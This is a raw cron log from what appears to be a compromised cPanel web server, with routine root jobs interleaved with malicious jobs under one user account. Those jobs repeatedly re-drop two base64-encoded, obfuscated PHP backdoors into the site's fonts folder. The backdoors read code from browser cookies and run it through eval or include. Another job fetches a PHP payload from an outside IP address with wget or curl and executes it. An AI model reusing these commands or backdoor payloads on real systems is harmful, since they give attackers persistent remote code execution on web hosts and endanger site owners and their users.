Sep  9 16:28:01 ip-184-168-122-23 CROND[13782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:29:01 ip-184-168-122-23 CROND[13875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:29:01 ip-184-168-122-23 CROND[13878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:29:01 ip-184-168-122-23 CROND[13877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:29:01 ip-184-168-122-23 CROND[13879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:30:01 ip-184-168-122-23 CROND[13966]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 16:30:01 ip-184-168-122-23 CROND[13969]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:30:01 ip-184-168-122-23 CROND[13971]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  9 16:30:01 ip-184-168-122-23 CROND[13972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:30:01 ip-184-168-122-23 CROND[13974]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:30:01 ip-184-168-122-23 CROND[13973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:30:01 ip-184-168-122-23 CROND[13981]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:30:01 ip-184-168-122-23 CROND[13980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:30:01 ip-184-168-122-23 CROND[13983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:31:01 ip-184-168-122-23 CROND[14167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:31:01 ip-184-168-122-23 CROND[14168]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 16:31:01 ip-184-168-122-23 CROND[14172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:31:01 ip-184-168-122-23 CROND[14171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:31:01 ip-184-168-122-23 CROND[14173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:32:01 ip-184-168-122-23 CROND[14253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:32:01 ip-184-168-122-23 CROND[14256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:32:01 ip-184-168-122-23 CROND[14255]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:32:01 ip-184-168-122-23 CROND[14257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:32:01 ip-184-168-122-23 CROND[14258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:33:01 ip-184-168-122-23 CROND[14350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:33:01 ip-184-168-122-23 CROND[14353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:33:01 ip-184-168-122-23 CROND[14352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:33:01 ip-184-168-122-23 CROND[14351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:34:01 ip-184-168-122-23 CROND[14429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:34:01 ip-184-168-122-23 CROND[14432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:34:01 ip-184-168-122-23 CROND[14433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:34:01 ip-184-168-122-23 CROND[14431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:34:01 ip-184-168-122-23 CROND[14434]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:35:02 ip-184-168-122-23 CROND[14541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:35:02 ip-184-168-122-23 CROND[14543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:35:02 ip-184-168-122-23 CROND[14544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:35:02 ip-184-168-122-23 CROND[14546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:35:02 ip-184-168-122-23 CROND[14547]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 16:35:02 ip-184-168-122-23 CROND[14548]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:35:02 ip-184-168-122-23 CROND[14545]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 16:35:02 ip-184-168-122-23 CROND[14549]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:36:01 ip-184-168-122-23 CROND[14645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:36:01 ip-184-168-122-23 CROND[14647]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:36:01 ip-184-168-122-23 CROND[14648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:36:01 ip-184-168-122-23 CROND[14649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:36:01 ip-184-168-122-23 CROND[14650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:37:01 ip-184-168-122-23 CROND[14739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:37:01 ip-184-168-122-23 CROND[14740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:37:01 ip-184-168-122-23 CROND[14743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:37:01 ip-184-168-122-23 CROND[14742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:38:01 ip-184-168-122-23 CROND[14820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:38:01 ip-184-168-122-23 CROND[14824]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:38:01 ip-184-168-122-23 CROND[14823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:38:01 ip-184-168-122-23 CROND[14822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:38:01 ip-184-168-122-23 CROND[14825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:39:01 ip-184-168-122-23 CROND[14994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:39:01 ip-184-168-122-23 CROND[14995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:39:01 ip-184-168-122-23 CROND[14999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:39:01 ip-184-168-122-23 CROND[14996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:39:01 ip-184-168-122-23 CROND[15000]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 16:40:01 ip-184-168-122-23 CROND[15107]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 16:40:01 ip-184-168-122-23 CROND[15108]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:40:01 ip-184-168-122-23 CROND[15112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:40:01 ip-184-168-122-23 CROND[15116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:40:01 ip-184-168-122-23 CROND[15113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
